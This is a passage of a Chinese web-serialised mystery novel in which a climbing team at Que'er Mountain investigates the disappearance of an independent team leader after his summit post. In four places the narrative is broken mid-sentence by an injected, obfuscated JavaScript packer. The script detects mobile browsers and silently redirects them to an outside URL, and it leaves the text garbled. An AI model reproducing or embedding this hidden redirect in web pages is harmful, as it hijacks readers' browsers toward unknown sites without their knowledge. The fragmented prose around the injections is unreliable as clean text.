这一次,登山小队仍旧提前报了九极的团,对于九极的运作十分熟悉的他们,很快就顺利去酒店办好入住,然后结伴前往九极办公室开会,会后,九极的工作人员照例去他们的房间检查了装备,时间很快就转到了第二天。 到了正式出发的时候了。 今天他们要坐大巴前往甘孜,雀儿山就位于甘孜州德格县境内,他们会在甘孜休息一晚上,然后去到大本营,那之后,就要开始与世隔绝的攀登生活了。 在大巴车上,众人惊奇地发现,这次攀登活动的领队又是他们的老熟人,大山。 “原来你也带雀儿山的队,我还以为你是专门负责二峰的呢!”花城脱口而出。 “二峰我带队,雀儿山也是我带队。”大山笑了笑,说,“你们要不要猜一猜,这次带你们的协作是哪些人?” “该不会……” 原本大家并没有这样的想法,但听大山这么一说,似乎这次的协作还是那些老熟人:格勒、次仁和桑吉。 如果真是这样的话,那可称得上是个惊喜了。 大山点点头,肯定了大家的猜测,车内顿时响起一片欢呼声。一来是因为大家都很满意上次的三位协作;二来,让熟悉的人带队,彼此也会更自在些。 几小时后,大巴停在登山小队即将入住的甘孜酒店大门前,众人鱼贯下了车,站在门口好奇地东张西望。 “哇,进门的地方还放着欢迎我们的立牌,搞得好隆重!” 花城正拉着锦里说个不停,突然,从远处驶来的另一辆车也停在了酒店门口,从车上走下来四个背着驮包的年轻人,他们的打扮一看就是驴友。 与此同时,那四人也看到了登山小队的成员——确切来说,是看到了花城跟锦里——他们没有犹豫,径自走了过来,为首的黄发男生个子高高的,戴在鼻翼上的鼻钉显得他个性十足,他看着锦里,眼中露出狐疑的神色:“哎,我觉得你好面熟,你是不是那个……徐木青的女儿?” 锦里闻言心中一跳,徐木青是她父亲老徐的名字,在登山圈子里很多人都知道。 她点点头。 黄发男生又问道:“你们是来登雀儿山的?” 锦里不太想将对话继续下去,但花城却对这几人很感兴趣,她好奇地反问了一句:“你怎么知道?” 黄发男生耸耸肩:“住在这个酒店的人,十有八九都是来登雀儿山的,这里就相当于一个中转站,来登山的人在这里休息一晚,第二天就正式进山。” 花城又恍然大悟似的点了点头。 “那这么说,你们也是来登雀儿山的咯?” “是的,正巧有缘碰上,要不我们一起走——”黄发男生话说到一半,就看到从酒店走出来接待登山小队成员的格勒、次仁跟桑吉,他突然顿了顿,然后用有些怪异的语气说:“原来你们是跟着商业登山公司一起走。” 藏族人跟汉人的长相实在是很好区分。 站在他身后的两女一男也开始用异样的眼神看着花城跟锦里。 “难道你们不是吗?” 黄发男生摇摇头,正要说话,锦里先一步对花城解释道:“他们是一支自主登山队。” 8. 雀儿山杀人事件② 4 花城的性格活泼外向,又有些大大咧咧,所以她没有丝毫的察觉。但锦里却感受到了,黄发男生以及他身后的三名同伴全都一副看不上商业攀登的样子,这让锦里心中十分不适,所以她才会忍不住开口打断他们的对话。 自主攀登,也叫阿尔卑斯式攀登,是跟依赖于商业公司带队完全不同的一种攀登方式,喜欢自主攀登的驴友往往看不上商业登山队,认为他们算不上是纯粹的登山队伍。 但在锦里心中,这两者并无高下之分。 锦里的态度让黄发男生愣了愣,但他并没有因此生气,反而笑了笑,又拿出手机对花城说:“难得有缘在这里碰到,我们加个好友吧。” “好啊!”花城大方地跟黄发男生交换了微信号,两人又闲聊了几句,才结束了这场对话。 之后就是去房间放置行李,洗漱一番,待到旅途的疲惫尽数消去后,众人聚在大厅吃了顿晚饭,精气神就全都回来了。 饭后,大山照例召集大家开了个小会。会议的内容也跟上次大同小异:明天早上九点在酒店门口集合,由三名协作带队前往大本营,而大山照旧则留在酒店,等待大家的好消息。 第二天,难得睡了个好觉的锦里早早就起床了,在大厅她碰到了坐在沙发上玩手机的花城,花城一见她就兴奋地凑了过去:“你知道吗?昨天我们在酒店门口碰到的那四个人,他们已经快走到大本营了!” 说着,将手机屏幕举到锦里面前。 原来是昨天的黄发男生在朋友圈发布了自己的最新动态,花城刚跟对方互加了好友,自然看到了这条消息。 “真厉害,这就是自主登山队吗?凯特似乎还是队长,难怪他看不上我们这些需要商业队带着走的。” 凯特就是黄发男生的微信名。 “你知道啊……”锦里有些惊讶,她一直以为花城对昨天那几人的轻蔑态度一无所觉呢。“既然你都知道,难道你就不生气?” 花城耸耸肩,说:“他们确实很酷嘛,有这个资本。” “啊,如果要说的话,是这个道理……” 就在锦里为花城的豁达所震惊的时候,花城已经开始畅想未来:“虽然我们不能一起走,但说不定能在登山路上偶遇呢!” 她似乎格外崇拜那支队伍,希望能跟他们产生更多交集。 “不,应该不能,”锦里老实说了实话,“虽然两支队伍是同一天出发,但他们脚程更快,而我们队伍里大部分人甚至还不会使用技术装备,我猜协作们应该会专门安排一天时间给我们做培训,这样一来我们就要在大本营多耽搁一天,被那支自主登山队落下的距离就更远了。” 5 事实就如锦里所推测的那样。 当天到达大本营之后,格勒立即招呼众人开会,简述了接下来的行程安排。也许是因为之前相处过几天,现在双方的沟通已变得没那么困难,除锦里外,登山小队的其他成员也能勉强听懂格勒的话了。 “好,现在我们正身处海拔4020米的雀儿山大本营中,暂时没有人出现不适症状,这是一个好兆头,只要好好适应环境、调整自己,这次攀登就算是成功一半了。 “相信大家也多多少少有感受到,这里,雀儿山大本营跟二峰有很大的不同,规模大了很多,这是因为有很多其他的队伍也要登这座山,之后在攀登路上,大家肯定也会遇到很多其他队伍的人——” “包括那些自主登山队的人,是不是?”花城听到这里,立即把自己刚了解到的知识说了出来。 格勒点点头,简单解释了一下:“对,这里除了我们跟其他的商业登山队,还有一些自主登山队,要区分的话很简单,像我们九极搭的帐篷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201046|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,上面都有赞助商的logo,有名气的自主登山队也会得到赞助商的支持,但各自的赞助商都不一样,而且通常来说,商业登山队的规模会比自主登山队的要大一些。” 花城连忙点头,表示理解了。 格勒继续道:“因为队伍很多,而且雀儿山有一定的难度,我们必须仔细规划之后的攀登行程。明天一整天,大家需要留在大本营,跟着我们的工作人员学习技术装备的使用方法——这在之后的攀登路程中都是用得上的;后天我们就正式出发,前往海拔4850米的一号营地;在营地休息一晚,然后去到二号营地,海拔5350米;之后再休息一晚,去到三号营地,海拔5750米;当晚凌晨起床冲顶,然后返回大本营。 “大致的行程安排就是这样。” 虽然之前就已经知道会是这样的安排,但当真正听到格勒说出口,大家才意识到,雀儿山跟二峰真的很不一样。 雀儿山是一座真正的雪山,它的攀登历程比起二峰来说,复杂太多了。 “好!我现在感觉浑身上下充满干劲,简直都有点儿迫不及待了!”摩羯鱼突然兴奋地说道。 “赞同。”惊蛰推了推自己鼻梁上的镜框,声音微微颤抖,但这不是在害怕,毫无疑问,他也完全兴奋起来了。 花城自不必说,她还期待着能偶遇那支自主登山队呢。 游人还是老样子,端着一张娃娃脸笑眯了眼睛,一副心情很好的样子。 至于夏晴天,一开始,她登山的动机并不纯粹,她是为了别人而登的,但是当她成功登上二峰那一刻,她的态度就转变了,从那一刻起,她真正爱上了登山,爱上了那种不畏艰险、奋勇向上的感觉。 此刻,看着夏晴天眼中名为期待的光芒,锦里真心为她感到高兴。 她自己的心,似乎也开始活络了起来。 9. 雀儿山杀人事件③ 6 果然不出所料,那支自主登山队昨天就已经出发,往一号营地去了。 为什么锦里能知道得这么清楚呢? 那是因为花城在来到大本营的第二天一大早就起了,她想去找凯特,但走了一大圈都遍寻不着,后来一连问了好几个人,才知道他们昨天就已经出发去一号营地了。 “早知道我就先看看朋友圈了,凯特还拍了他们扎营的照片……”花城对着锦里大吐苦水。 锦里说:“我早就告诉过你了。” “因为昨晚我刷了好几遍手机,都刷不出页面来,我以为今天也不行呢……”花城呜呜假哭了几声,又很快转移了注意力:“对了,这里也不能说是没网吧,只是网络信号似乎不太稳定?” “毕竟是在山里,可以理解。不过凯特在一号营地还能发朋友圈,至少说明那个地方还是有网的,就是不知道再往上走还有没有。” “我希望有!这样我就可以看到凯特的最新动态啦!” 这话说的……锦里正想打趣她两句,却见格勒拿着一堆装备出来了,两人的对话就此中断,准备开始培训。 这次培训由格勒跟次仁负责讲解和演练,桑吉负责拍照。三名协作将众人需要用到的装备搬到了空地上,等人来齐后,培训就正式开始了。 这些装备都是锦里非常熟悉的,曾经她靠着它们登上了一座又一座的雪山,时隔多年再次看到,她心中不禁涌起一股感怀又怅然的情绪。 “攀登雀儿山,离不开各种绳子跟装备的辅助。”以此作为开场白,格勒首先拿起的是一条安全带,他一边将它穿在次仁的腰上,演示穿戴方法,一边讲解道:“雀儿山是一座地形复杂多变的雪山,尤其是它的冰裂缝,纵横交错,十分危险。如果我们想用攀登二峰的方法——只是简单地穿上冰爪——就在上面行走,那是不可能的。那些冰裂缝狭长深邃,分布密集,一个不慎很容易就会掉进去,而一旦掉进去,没有安全带的保护,人就上不来了。” 队员们听得一愣一愣的,连一向能说会道的摩羯鱼跟花城都不发一语。除锦里跟夏晴天外,这是他们第一次触及雪山带来的鲜血和死亡。 “所以,这条安全带的存在,不是为了保护大家不掉进冰裂缝里,而是要保证即使有人掉进去,我们也能将他救回来。这是一套组合装置,需要搭配这个使用,”格勒俯身拿起一个快挂,那是个形似大号钥匙扣的家伙,“下面我先给大家讲一下这套装置的作用机制,然后我们再来学习具体该怎么使用它们: “等到队伍行进到冰川地带的时候,每个人都需要穿戴好安全带,我们会将三至四人结成一组,彼此用攀登绳相连,怎么相连呢?具体来说就是:每个人将快挂的一端挂在腰间的安全带上,另一端挂在攀登绳上,结组前进。这样就确保了即使有人中途掉进冰裂缝中,与绳子相连的其他队员也会牵引着他不掉得太深,让他能够在其他人的帮助下获救。” 在大家点头之后,格勒又拿起一个上升器跟下降器,继续做解释。 “此外,雀儿山还有两个大冰壁坡度很陡、很有难度:一处是在到达三号营地前,另一处在冲顶的最后阶段。在攀登这两个大冰壁之前,我们的协作会事先在冰壁上搭好路绳,简单来说就是,他会每过一段路就用冰镐凿出一个保护点,然后用绳子将保护点与保护点之间连接起来,形成一条由绳子连接而成的路线。这样大家在攀登的时候,就可以顺着路绳向上或是向下。 “具体该怎么向上攀呢?这里就要介绍到另一个技术装备了:上升器。上升器也有些形似大号的钥匙扣,可以拿在手上使用,在向上攀登的过程中,上升器一端连接着攀登绳(攀登绳连接着腰上的安全带),另一端连接着路绳,这样就能在攀爬冰壁的同时保障自身的安全,避免滑坠,明白了吗?” 大家纷纷点头,表示理解。 花城突然又有了疑问,只是这个问题是另一层面上的:“那自主登山队呢?他们也是这么做的吗?” “当然了,雪山的危险性对每个人都是相同的,他们也需要结组,需要路绳……”格勒因为这出乎意料的问题愣了一下,但还是尽心解释了一番,“只是他们的路绳需要由自己搭建,不能用我们的。一般来说,就是队伍中技术最好的那个人打头阵,挥舞着冰镐把路绳搭好,其余队员借用辅助工具跟在后面……” “自己搭路绳?为什么?” “万一出了什么事故,责任该怎么分担就不好说了,我们想避免这样的纠葛发生。” “原来是这样。”花城点点头,“这就相当于把协作的活一起干了,自主登山队还真是辛苦呢!”后面这句话象是她无意间的喃喃自语。 理解这些技术装备的作用机制后,对于接下来的培训,大家也更加游刃有余了。 “所以对于你们来说,路绳不重要,重要的是安全带、快挂还有上升器跟下降器的使用方法。”格勒如是说道。 之后,他跟次仁详细演练了这几件装备的操作技巧,又让队员们一个个上手实际操作一番。一天的时间很快就过去了。 7 第二天一早,锦里是被跟她同帐篷的花城叫醒的。 今天他们就要正式出发去攀登雀儿山,但现在距离早上九点的集合时间还有好一会儿,锦里迷糊着睁开眼,就看到花城一脸兴奋地凑到她眼前,举着手机说:“你知道吗?今天凌晨凯特他们就开始冲顶了,怎么回事?他们不是应该昨天才到二号营地吗,那今天就该去三号营地,但……怎么进度比我想象的还要快呀!” 害怕吵醒同帐篷里还在熟睡的夏晴天,花城的声音压得低低的。 锦里揉了揉眼睛,这才看清昨天半夜凯特发布在朋友圈的冲顶宣言。 “唔……”她想了想,说,“可能他们是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201047|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的海拔更高的二号营地吧(高C2),如果是这样的话,那他们就是走的快攀模式,也就是从一号营地到达高C2,然后从高C2略过三号营地直接冲顶。凌晨三点开始冲顶的话,算算时间,现在应该快到顶了吧?” “哇!那我希望可以第一时间看到他们登顶的消息!” 花城完全兴奋起来了。 然而等到穿戴整齐走出帐篷时,呼啸的寒风让两个人都情不自禁瑟缩了一下身体,愣在原地。 “下雪了……”花城看着天空,喃喃自语道。 今天的雀儿山,天气格外阴沉。 按照计划,今天格勒、次仁跟桑吉要带领8848登山小队的队员们前往一号营地,这段路上碎石遍布,又因为下着雪,走起来并不轻松。 但一开始,大家的体力还是很充沛的。 因此花城也还有余裕担心凯特的情况,她把锦里当成了救命稻草跟树洞,一路上都在反复确认:“如果天气不好,对冲顶会有影响吗?” “当然有,如果风雪太大,为了安全考虑,他们就不得不下撤了。”锦里如实答道。 “啊?”花城苦着脸,又问,“好锦里,那你说现在的风雪是算大还是小?” 锦里摇摇头,说:“这我怎么知道?山下跟山上的天气又不完全相同,我们这里现在下着小雪,山上——山顶上——说不定正风雪大作,又或者只是阴云密布,并无半片雪花……所以他们的冲顶之路顺不顺利,我们也就无从得知了。” 花城闻言,心中更加担忧了。 锦里有心想安慰她几句,但因刚才她已将情况讲得很明白,此时再说其他的话,就显得有些多余了。 好在随着海拔的逐渐上升,大家耗费的体力也越来越多,尤其是花城,虽然这段时间都有坚持锻炼,但也许是先天的体质原因吧,她比其他人都要累得多。锦里时刻关注着她的状况,见她不住喘气,但还在可以坚持下去的范畴,心中终于松了口气:这下她没有余裕再去思考那支自主登山队的事了吧。 此后,众人一路沉默着向上攀爬,终于在下午两点到达了一号营地。此时风雪已停,唯余地面上零星散布着的一点积雪,证明曾有成片雪花降落在这里。 因为很累,大家——包括锦里——都坐在营地外的小板凳上歇了好一会儿,才渐渐缓过神来。 锦里发现,一号营地驻扎着很多顶帐篷,样式各不相同,说明跟在大本营时一样,这里也同时有多支队伍存在着。 想到“多支队伍”这件事,锦里就又想起了那支让花城心心念念的自主登山队,不知道他们现在怎么样了。 想什么就来什么,花城很快来到锦里身边,兴奋地告知了她结果:“你知道吗?凯特登顶了!今早九点零五分,他的消息几乎也是同步发出的,其实我上午就刷到了,只是那时候我很累,没力气说话,所以现在才告诉你!” 10. 雀儿山杀人事件④ 8 “什么?那其他人呢,也全部登顶了吗?”锦里很惊讶,她原来以为花城一直默不作声,是因为那支队伍冲顶失败了。 “凯特好像是最先登顶的,那个时候他还不知道其他人的消息呢!” “原来是这样。”锦里点了点头,表示理解。 花城紧接着说道:“听他说,山顶的风雪真的很大,路很难走,他也是历经艰险才登顶的。” “这下你放心了吧?”锦里笑道。 花城重重地点了点头,也开心地跟着笑了起来。 在这样和乐的氛围下,不知为何,锦里心中却突然感觉到一丝不妙,几乎与此同时,从她们身旁走过两个人,那两人的窃窃私语声传入了她们的耳朵: “你知道吗?听说今天有个人在攀登途中失踪了!” “天哪?怎么回事,在哪儿失踪的?” “好像是今天第一个登顶雀儿山的人,在哪儿失踪的还不清楚,他发布登顶消息后,按理说早该下山了,但是到现在都还不见踪影……” 花城脸上的笑容一下子消失了。 无论怎么看,这个人说的都象是凯特。 “不好意思!”她连忙凑到正说得起劲的那两人身边,连声追问,“请问那个人是谁?还有……失踪是什么意思?” “啊?呃……” 两人被突然窜出来的花城吓了一跳,半晌说不出话来。 因为对此事感兴趣,锦里也跟着凑了过来,只见散布消息的是两个穿着红色冲锋衣的年轻姑娘,她们手挽着手,似乎是同一支登山队的队友,关系看起来很亲密。 其中一个人——她似乎知道不少详情——愣了愣才回答道:“那人叫什么名字我不知道,但我听说他所在的队伍是一支自主登山队,他好像还是队长,今天他们队伍第一个从高C2出发,一边修路一边攀登,队长走在最前头,也是第一个登顶的,但后来就莫名其妙不知所踪了,不仅是他的队友,连其他队伍的攀登者也没人见过他。” 听到一半的时候,花城的脸色就已经一片苍白,等到话音落地,她已经完全说不出话来了。 无论怎么看,那个出事的人都是凯特吧…… “怎么?你们认识他?” 锦里一边搀扶着花城,一边点点头:“是啊,之前我们跟凯特的队伍——应该就是你刚刚说的那支自主登山队——在酒店门口碰到过。” “那你们怎么还在这里……哦!他们是自主登山队,速度要快很多!” “是的。” “既然之前就见过面,那你们可以直接去问凯特的队友了,他们知道的肯定更多。” “他们已经下撤到一号营地了吗?” “是啊,我的消息就是从他们那儿听来的。” 9 结束谈话后,锦里扶着大受打击的花城坐下:“你还好吧?要不要喝点水?我去帮你拿——” 话音未落,没想到花城却一把抓住了她的手,哀求道:“锦里,我们去找凯特的队友吧,我想问问他们究竟发生了什么事!” “可是……” “我没事,完全没问题,现在我只想搞清楚这件事的前因后果,求求你了锦里!” 既然话已经说到这个份上,锦里也没办法再拒绝,两人于是在营地周围四处打听,好在这件事似乎已经传播开来,她们很轻易就顺着指点找到了凯特的队友们。 当初在酒店门口遇见时,只有凯特开口跟她们交谈过,所以锦里的注意力也大多集中在凯特身上,对于他的队友们,锦里只隐约记得,那似乎是两女一男,至于长相什么的已经完全想不起来了。 这是她第一次仔细打量他们三人,相信花城也是一样。 三个人都很年轻,但是跟队长凯特的风格完全不同,他们中没有一个染发烫发,或是在身上佩戴装饰品。两个女生一个活泼可爱,一个沉稳干练,剩下的男生看起来有些不善言辞。 后来锦里才知道,他们三人的名字分别是:小黄鸭、瑞冰、大黑鹅。而且小黄鸭跟大黑鹅是一对情侣,他们的名字就是专门起的一对情侣名。 锦里跟花城找到他们三人时,小黄鸭正在揉着自己通红的眼睛,似乎刚刚大哭过一场,大黑鹅什么也没说,只是在一旁默默地拥着她,给予她无声的安慰,瑞冰抱臂站在一边,脸上的神情看不清是沮丧还是痛心。 看来凯特的失踪,给他们带来了很大的打击。 但我们这边也有一个备受打击的人啊……正在锦里这么想的时候,花城已经迫不及待地冲到独自站着的瑞冰面前:“不好意思,可能你们已经被问过很多次了,但我还是想请你们再说一次,凯特真的失踪了吗?这究竟是怎么一回事啊?” 瑞冰闻言皱了皱眉头,疑惑道:“你是?” “之前我们在酒店门口见过一面,我跟凯特交换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201048|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过联系方式。”花城匆匆解释完毕,又继续追问道,“请问凯特到底是怎么了?我早上还看到了他的登顶消息……” 瑞冰仍旧眉头紧皱,她张了张口,似乎正准备继续盘问花城的来历,这时小黄鸭从大黑鹅的怀中抬起头来,哑声道:“算了瑞冰,看样子她跟凯特是朋友,我们就把事情经过都告诉她们吧!” 瑞冰双唇紧抿,沉默着点了点头。 花城跟锦里闻言对视了一眼,连忙打起精神。 虽然早有心理准备,但由这三人口中说出的事件的前因后果,还是远比她们想象中更加离奇诡谲。 第一个讲述者是小黄鸭,她的声音虽然仍旧因为哭泣过多而嘶哑,但却已经恢复了冷静:“今天凌晨两点钟,我们四个——我、大黑鹅、凯特还有瑞冰——就从高C2营地出发开始冲顶,当时空中就已经开始飘雪,天气似乎不容乐观……但我们还是决定冒着风险试一试,万一之后雪停了呢?我们抱着这样的念头出发了。 “第一要面对的就是一个大冰壁,翻过冰壁我们才会抵达三号营地的位置,一马当先走在最前头的是凯特,他负责在前面用冰镐修路,我们就跟在他身后,靠着他搭好的路绳往上走。刚开始一切都很平常:凯特走在第一位,之后是瑞冰,再之后是我跟大黑鹅,天气不好,自然也就没有月光为我们照明,四周漆黑一片,能看见的只有头灯照射到的一小片地方,我们沉默地走着,喘着粗气,没有一个人开口说话。大家走得很累,但除此之外,一切都很平常。 “但不知从什么时候起,我从默默咬牙坚持前行的状态中回过神来,发现前方已不见瑞冰跟凯特的身影,他们两人把我甩开了,只有大黑鹅还默默跟在我身后。” 小黄鸭在这里停顿了片刻,深吸一口气,她解释了自己当时的心境:“当时我只是心中有些失落,没想到自己的体能跟他们相比差了这么多,我跟不上节奏,尤其是在这种恶劣的天气下。” 这段话引起了花城的共鸣,她忍不住开口安慰道:“这也是没办法的事嘛!我觉得,只要尽力就好了,虽然走得慢,但总有抵达顶峰的那一刻……” 小黄鸭冲她微笑着点了点头:“我也是这么想的,”然后继续之前的话题:“但是后来我发现,事情不想我想的那么简单。我们低估了天气的恶劣程度,更低估了由此可能带来的风险……” 随着小黄鸭的讲述,事情的发展渐渐迎来了高潮部分。 11. 雀儿山杀人事件⑤ 10 “翻过第一个大冰壁后,我跟大黑鹅又挣扎着往上走了一段,但天气丝毫没有好转的迹象,风雪反而越来越大了,”陷入回忆的小黄鸭眼中流露出痛苦的神色,大黑鹅在一旁默默揽紧了她,“这时天也亮了,四周白茫茫一片,当真让人看不见前路,要不是有还没消失的脚印指引着,说不定我们连前进的方向都找不到了…… “摸索着又走了一段路,我们来到了第二个大冰壁下——只要翻过这里,就到达顶峰了——感觉看到了希望,对不对?但在冰壁之下,我们却发现了一个人影,”小黄鸭说到这里,转头看向瑞冰。 “那就是我。”瑞冰点点头,接着小黄鸭的话说道,“我跟着凯特走到那里,实在是走不动了,没体力再翻过那个冰壁,所以就在原地休息,准备过一会儿就下撤。” “凯特呢?”花城连忙问道。 “我也是这么问的。”小黄鸭插了一句。 瑞冰又点了点头:“他搭好路绳后,一个人继续往上走了。” “你们三个在冰壁下碰面的时候,是几点几分?”锦里也提出自己的疑问。 小黄鸭说:“我们听到瑞冰说凯特继续往上走了,就拿出手机看了看,刚好看到凯特在朋友圈发布的登顶消息,我记得当时是早上九点零五分,不,好像要再往后一点,大概九点零六七分吧。” “九点零五分是凯特登顶的时间。”花城解释了一句。 “这么说你也看到了他发的那条朋友圈,是吧?不错,就在我们碰见瑞冰的那个时候,凯特刚刚成功登上了雀儿山的顶峰,我们都为他感到高兴。但那时谁也没有想到,之后会发生那么可怕的事情……” 凯特失踪了。 话题正在渐渐走向这个早已注定的结局。 讲述事情经过的仍旧是小黄鸭。 “跟瑞冰聊了几句之后,我感觉自己的体力恢复了一些,可以尝试着翻越冰壁了——毕竟好不容易走到这里,我不想轻易放弃——大黑鹅的体力也没有问题,所以我们就决定继续往上走,瑞冰则准备继续留在原地,等我们登顶后一起下撤。 “凯特早就帮我们把路绳搭好了,我们只用像之前那样,用上升器跟着走就好。没想到正准备出发的时候,另一支自主登山队过来了,因为天气越来越差,修路很困难,他们就问可不可以借用我们的路绳,看样子我们是第一支把路修到顶峰的队伍,当时就连商业队的路都还没有修好……” “你们同意了吗?” 小黄鸭点点头:“是的,之后他们就开始跟在我和大黑鹅的身后走。” “然后呢?” “我们拼尽全力,全部顺利攀过了大冰壁,这时风雪变小了一些,四周的能见度也变高了,我们看到顶峰就在不远的前方,登顶希望很大,顿时走得更加有动力了。可是……” “可是什么?” “可是当时我们却忽略了一个大问题,直到登上顶峰,拍了一连串照片,兴奋的劲头过去之后,大黑鹅突然问我‘凯特到哪儿去了?刚刚一路上都没碰到他往下撤’……我这才意识到,本该呆在顶峰的凯特已经不见了踪影,只有地面上留下一根光溜溜的路绳,证明他曾到过这里。” 这确实太奇怪了,正在锦里这么想的时候,花城突然不解地问道: “为什么你们都觉得他应该呆在顶峰,难道他不能是提前从另一边下撤了吗?比如你们攀登的那条线是山的正面,他就从与之相反的山体背面或侧面下撤……之类的,这样不就没有人能够撞见他了?” 小黄鸭愣住了,可能她没想到花城会提出这样一个问题。 锦里叹了口气,她心里很清楚,花城对于登山的知识还很匮乏,于是主动解释道:“你想错了,就像上去的时候需要路绳的帮助一样,下撤的时候同样需要依靠路绳,所以下撤的路线也只有一条,就是按来时的路原路返回。” “如果不原路返回,会怎么样?” “那不可能!”锦里断然否认道,之后她却有点卡壳了,因为花城的话打破了登山界的常识与默认规则。 她斟酌片刻,才对此作出解释: “他不可能不按原路返回,要知道,每座山的攀登路线都是固定的,即使是技术再高超的攀登者,也不可能贸然偏离既定路线,这是很危险且没有必要的,没有人会这样做,除非他是要开辟一条新的路线,但是!”锦里加重了自己的语气,“但是,即使要开辟新路线,也应该是在向上攀登的途中开辟,没有人会在登顶后突然决定选择一条从来没人涉足过的路线下撤。 “所以如果凯特真的是离开了顶峰的话,他就一定是从来时的路返回,也就一定会跟其他人碰上的,既然他们没碰上,就说明凯特应该还留在顶峰上。” “没错。” “就是这样。” 小黄鸭三人纷纷点头表示认可。 “可是,事实上他却不在那里。”花城喃喃道。 “这就是整件事情奇怪的地方,凯特就这样不见了踪影,就像怪谈小说里写的那样离奇失踪了……” 11 “其实,听了你们刚刚说的话,我有了一个推测。”锦里缓缓说道。 “是什么?”花城跟小黄鸭异口同声问道。 “会不会……凯特在下撤的途中特意避开了你们?先不论他这么做的动机,从理论上来说,他有能力自己搭建新的路绳,说不定他在既定的攀登路线——也就是那个大冰壁上——事先多搭了一条路绳,这样就可以在下撤的时候顺着那条多出的路绳离开了,如果真是这样的话,当时风雪大作,能见度很低,而你们在不同的路绳上,很难发现他的踪影。” “所以你的意思是说,当时我们跟凯特可能离得很近,甚至可能是擦肩而过,但却没有人注意到?”小黄鸭眉头紧锁。 锦里正要点头,瑞冰突然开口反驳道: “不可能。” 她的语气十分斩钉截铁。 “为什么不可能?” “先不论多搭建一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201049|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路绳会不会被其他人注意到的问题,就从我的角度来说好了,我一直呆在那个大冰壁下,本来我就跟小黄鸭他们说好了,等他们登顶之后下来,我们就一起下撤回一号营地。当时我还以为,他们会在山顶遇到凯特,然后三个人会一起下来……但是我只等到了小黄鸭跟大黑鹅,我从头到尾都没有看到凯特的踪影。 “对了,不止是我,之后其他速度落后于我们的队伍也陆陆续续来到了冰壁下,他们之中有几个队员也跟我一起在冰壁下休息了一会儿,他们也没有看到过凯特的影子。就算凯特像你说的那样,通过事先搭好的另一条路绳下来了,我们也不可能看不见,因为冰壁之下这段路是他下撤的必经之路。 “所以我敢断定,凯特一定还在顶峰的某个地方,他从头到尾都没有下来过。” 瑞冰用简单明了的几段话就推翻了锦里的推测。 凯特究竟去哪儿了? 越是讨论,这个谜团就越是难解。 “给我看看凯特发的那条朋友圈吧!” 不知为何,锦里突然有了这个想法,也许是因为她想起了自己还没有亲眼见过这条消息。 花城最快将手机递到她眼前,锦里定睛一看,凯特发布的登顶消息十分简短: 我终于登顶了!今天风雪很大,能够第一个登上雀儿山6168米,实在是太开心了! 2020年6月25日 09:05 看完这条消息,锦里的第一反应是:怎么这么怪异? 仔细想想,她很快就发现了奇怪的地方:“怎么没有登顶照?” 是的,凯特的这条朋友圈,只有这短短几行文字,没有配图。 小黄鸭皱了皱眉头:“其实最初我也觉得很奇怪,因为一般来说,登顶之后肯定是会拍照的,凯特为什么不把自己的登顶照放上去?后来我想,是不是因为当时风雪太大了,而且他又只有一个人,要给自己拍照有些难以操作,所以……” “但是——” “但是——” 花城跟大黑鹅同时开口了,花城愣了愣,然后示意难得说一次话的大黑鹅先讲。 “呃,我是想说,如果没有照片,凯特就没有办法证明自己登上过顶峰,外界不会承认的,而且我也会有点怀疑他登顶这件事的真实性。” “他肯定是拍了照片的,只是可能他编辑朋友圈的时候太过激动,只想尽快将自己登顶的消息发布出去,一时疏忽了配图,他的相机里一定有登顶照片。”瑞冰辩解道。 小黄鸭听了连连点头:“我赞同这个说法。” “应该就是这样的吧。”锦里也附和道。 “可是却没有人看到过他的登顶照,现在我们也找不到手机里的照片了,”大黑鹅的话冷不丁给大家泼了个冷水,“它们已经随着凯特消失到了不知名的地方。” 此言一出,大家全部哑口无言。 事情又回到了原点:早上九点零五分发布完最后一次消息之后,凯特究竟消失去了哪里呢? 12. 雀儿山杀人事件⑥ 12 